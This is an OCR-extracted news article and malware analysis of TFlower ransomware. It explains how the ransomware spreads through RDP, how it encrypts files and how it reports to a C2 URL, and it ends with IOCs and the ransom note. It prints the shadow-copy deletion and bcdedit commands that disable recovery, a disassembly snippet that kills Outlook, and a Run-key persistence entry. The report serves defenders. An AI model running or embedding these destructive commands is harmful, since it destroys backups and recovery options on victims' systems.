TFlower Ransomware - The Latest Attack Targeting
Businesses

bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/

Lawrence Abrams

By

Lawrence Abrams
o September 17, 2019
e 01:18 PM
. 4

TElowelr
Ransomwale!

The latest ransomware targeting corporate environments is called TFlower and is being
installed on networks after attackers hack into exposed Remote Desktop services.

With the huge payments being earned by ransomware developers as they target
businesses and government agencies, it is not surprising to see new ransomware being
developed to take advantage of this surge in high ransoms.

Such is the case with the TFlower ransomware, which was discovered in the wild in early
August. At the time it was just thought to be another generic ransomware, but sources who
have performed incident response involving this ransomware have told BleepingComputer
that its activity is beginning to pick up.

Gaining access via RDP

TFlower is being installed in a corporate network through exposed Remote Desktop
services that are being hacked by attackers.

Once the attackers gain access to the machine, they will infect the local machine or may
attempt to traverse the network through tools such as PowerShell Empire, PSExec, etc.
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When executed, the ransomware will display a console that shows the activity being
performed by the ransomware while it is encrypting a computer.

-

BN Administrator C:A\Windows\System32\cmd.exe - chilli.exe | — | [=] @

C-~test>chilli.exe
The operation completed succeszsfully. @
vszadmin 1.1 — Uolume Shadow Copy Service administrative command-line tool

CC>» Copyright 2001-20005 Microsoft Corp.

The operation completed succeszfully.
C:wpagefile.sys

The operation completed succeszfully.
T he qperatiun completed successfully.

C:~Program Files“desktop.ini

C:~Program Files {(x86>~desktop.ini

C:slUserssdesktop.ini

C:~Program Files“BA1l# Editor~HiBEditor.exe

C:“Program Files“PA1@ Editor~BiBEditor.news

Mo items found that satisfy the guery.

C:~Program Files~B18 Editor~HilBEditor.gch

C:sProgram Filess@1l8 Editor~BiBEditor.ghc =

TFlower Console

It then connects back to the command and control server in order to give a status check
that it has started encrypting a computer. In one of the samples seen by BleepingComputer,
this C2 is located on a hacked wordpress site and uses the following URL.:

https://www.domain.com/wp-includes/wp-merge.php?name=[computer_name]&state=start

It will then attempt to clear the Shadow Volume Copies and execute commands that disable
the Windows 10 repair environment.

vssadmin.exe delete shadows /all /quiet

bcdedit.exe /set {default} recoveryenabled no

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {current} recoveryenabled no

bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures

It also looks for and terminates the Outlook.exe process in order to allow its data files to be
open for encrypting.
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loc_148881CEB: ; CODE XREF: _text:00000800140081D3A)]
lea rdx, alutlook exe ; "outlook.exe"
lea rcx, [rbp+19Ch]
call sub_148806530
test eax, eax
jnz short loc_1408801D28
moy r8d, [rbp+17Eh]
lea ecx, [rax+1]
xor edx, edx
call cs:0penProcess
mou rbx, rax
test rax, rax
jz short loc 148881D28
mou edx, 9
mov FCcx, rax
call cs:TerminateProcess
mov rcx, rbx
call cs:CloseHandle

Terminating the outlook.exe process
It will then proceed to encrypt the data on the computer, skipping any files in the Windows
or Sample Music folders.

When encrypting files, it will not add an extension, but will prepend the *tflower marker and
what appears to be the encrypted encryption key for the file as shown below.

3/8



4 010 Editor - E\test.txt — O >

File Edit 5earch View Format Scripts Templates Tools Window Help

EE E;'Eja L. ;ﬁE -%b %q » E% »

Startup test.bxt X

<

J00h: 2B 74 66 6C &F 77 &5 72 oD ER 01 00 00 00 00 0O Erflower.&.....-

; A3 00 00 00 00 00 00 00 30 34 31 37 39 41 36 30 P 04179RE0
35 46 31 32 35 35 33 41 34 43 31 45 43 46 41 36 SF12553R4C1ECFLE
43 38 31 3B 43 44 43 34 33 42 45 44 32 42 44 37 CEB1ECDC43BED2BDT
36 30 42 37 33 30 43 36 45 38 43 34 36 31 37 30 E0BT30CEEEC461T70
37 32 33 43 37 34 41 32 42 44 41 38 33 32 30 43 723C74R2BDAB329C
43 30 31 34 43 33 30 42 36 32 30 45 41 36 33 43 COl4C30BE20ERE3C
43 37 30 42 30 31 37 35 3B 33 38 30 46 42 30 41 C79B91758380FBOL
38 3B 37 31 33 30 41 31 34 41 44 41 34 38 38 44 EET7130R14ADR48ED
31 46 36 44 45 44 46 31 41 34 00 00 01 00 OO0 OO 1F6DEDF1A4 . ... ..
F2 D4 B9 BE 66 1D OE 4E B7 05 DE 21 66 32 14 90 abutf. BN -.B1E2. .
56 62 €2 D1 EC D9 CE D1 21 26 FE EO 51 1& &D E4 VbbHiUIN! ) 2a0.m3
52 15 DE E7 DB B1 52 20 2F D5 BE 16 05 BB 03 EB R.@cU.R /0Z..».8
61 16 98 AS 44 41 35 E4 47 AE 6E BF 8D 27 45 EB  a. ¥DASEGEn..'EE
48 AB 3D 54 B2 1B 2C D2 5C D& 71 AE 32 €9 6E 6E  He=T,.,0\0qg®2inn
J0FOn: F7 76 A7 SE 8C OE Cé A& AS CA SB CD EC A0 CS ED ~vE E.E!FE I Ei
0100h: 54 E2 &5 F2 73 3C F2 ES AC 44 31 34 22 13 1C 4F Tdeds<dd-Jl4"..0
1110h: C5 C4 DE 4C A6 EA Al 4A 4A D3 DO 80 E3 08 42 63  AABL!&;JJOPES.Bc
J120n: 02 B3 CO DO 1E o2 3B B7 1D 87 00 31 26 &3 EB 72 VGEULF: -L %L 18ceE
1130n: 45 &7 F7 05 A6 51 03 BS 46 7E C5 Cl1 EE B8 2D 31  Eg=.!Q.pF-AAf -1
Jl40n: 86 OC 7B BB 86 B3 79 99 D9 F7 34 CD OF 42 D1 CA t.{wtfyiz:I.BHE
J150n: D3 AS 44 2D A8 OF 6B CO F2 37 17 21 F1 B3 50 83  O¥D-".kEa7.!R2Pf
J160n: ©1 €3 30 32 77 79 OB SE 32 E3 FF E7 FF &0 06 31 ‘c02wy >~ 28Vcy . 1
J170n: 13 CO BF OE Rl D3 70 42 3E &7 71 Bl 54 57 1A 79 .E:.;OpBrggtTW. v
i0l80h: 08 86 ED €E BC €5 36 OD 2A BE 26 C5 S5E DA 9E 0O . tinke6 . *X%eh 0%,
115903 15 6C E4 BO E3 EB D2 7B CA 91 78 A3 71 77 95 BE L1E2520(E ' Hoqu e
45 EF 3B 25 A7 €E 40 33 OF 1F BB A9 BA BE C2 AD Eif%iSn@3...e5 f-
BF
BL
oD

0 Jh: 46 01 AD 51 &4 87 12 44 OB &F AT 2A 07 3% AS F.-Qd%.D.o&§*.98: |
01COn: 57 DE 05 OB |BO CC D3 AS EE Ec 32 2D E2 98 45 WE. . I0¥ix3-4"E° [
01D0Oh: 81 F4 8E 3D 62 CA 43 F8 Do 82 SB AB E2 ET7 8F .6¥=bECa, yadc. .

J1EORh: o5 A3 8D ES5 |57 49 2C OC AA FE C2 51 2B 94 eC 02 ef (AWT, . 2pA0D+"1. W

Ml = ne MEF FA AR 71T M2 A /4 f£4 FRFR 47 RC RMv "0 AT 01 RS IAYF AfaealeSan

o _ Pos: 0 [Oh] Val: 42 24h 00101010k | Size: 125760 ANSI LIT W OVR
Encrypted TFlower File
When done encrypting a computer, it will send another status update to the C2 in the form
of:

https://www.domain.com/wp-includes/wp-merge.php?name=
[computer_name]&state=success%20[encrypted_file_count],%20retry%20[retried_file_count

Victims will now find a ransom notes named !_Notice_!.txt placed throughout the computer
and on the Windows Desktop. This ransom note will instruct victims to contact

the flower.harris@protonmail.com or flower.harris@tutanota.com email addresses for
payment instructions.
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‘N !_Motice !.txt - Motepa —
i 1N ! Notepad2 O x
File Edit View 5Settings 2

'DE @ H| RolAsEHQQ @R R

R
>

IMPORTANT NOTICE THAT IS5 URGENT AND TRUE

£ owWwoN

s Dear Sir/Ma,

6

7 sorry to inform you but many files of your comMPaNy has just been ENCRYPTED with a STRONG key.

s This simply means that you will not be able to use your files until it is decrypted by the same key

used in encrypting it.

3

10 TO get the DECRYPT TooL for your COMPANY, you have to make payment to us so as to recover your files.
| 22

12 NOTE

13

14

15 You may upload 1 of your encrypted files to test the decryption for free.

16 But, the file should not contain any valuable information.

17

18 E-MAIL Address:==>

139

zo flower. harris@protonmail. com

21 flower. harris@tutanota. com

22 o

Lyl B e o L S = L R ettt
TFlower Ransom Note
It is not known how much the ransom amounts are at this time.

TFlower is still being researched, so it is not known at this time if there are any weaknesses
in the encryption that could allow a user to get their files back for free.

Related Articles:

Windows 11 KB5014019 breaks Trend Micro ransomware protection

Industrial Spy data extortion market gets into the ransomware game

New ‘Cheers’ Linux ransomware targets VMware ESXi servers

Spicedet airline passengers stranded after ransomware attack

US Senate: Govt’'s ransomware fight hindered by limited reporting

I0Cs

Hashes:

6c75998580Tb05c01b10T4703299ffd782bec55c8765c030b8a4760fff6045fe

Associated Files:

!_Notice_!.txt
chilli.exe
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Registry Entries:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "proxycap"="
[path_to]\[ransomware].exe"

Associated Email Addresses:

flower.harris@protonmail.com
flower.harris@tutanota.com

Ransom Note Text:

IMPORTANT NOTICE THAT IS URGENT AND TRUE

Dear Sir/Ma,

Sorry to inform you but many files of your COMPANY has just been ENCRYPTED with a
STRONG key.

This simply means that you will not be able to use your files until it is decrypted
by the same key used in encrypting it.

TO get the DECRYPT TOOL for your COMPANY, you have to make payment to us so as to
recover your files.

You may upload 1 of your encrypted files to test the decryption for free.
But, the file should not contain any valuable information.

E-MAIL Address:=>>

flower.harris@protonmail.com
flower.harris@tutanota.com

¢ Ransomware
 Remote Desktop
e TFlower
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Chokopinho - 2 years ago
o
[¢]

| never liked flowers.

gizmo21 - 2 years ago

[e]

o

is it chille.exe or like in the screenshot chilli.exe?
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i_awrence Abrams - 2 years ago

[e]
[e]

My bad. Chilli.exe, though the name could easily change to something else for
another victim.

gizmo21 - 2 years ago

[e]

[e]

sure but better then nothing :) - thx

Post a Comment Community Rules

You need to login in order to post a comment

Not a member yet? Register Now

You may also like:

8/8


https://www.bleepingcomputer.com/author/lawrence-abrams/
https://www.bleepingcomputer.com/forums/u/1018928/gizmo21/
https://www.bleepingcomputer.com/posting-guidelines/
https://www.bleepingcomputer.com/forums/index.php?app=core&module=global&section=register

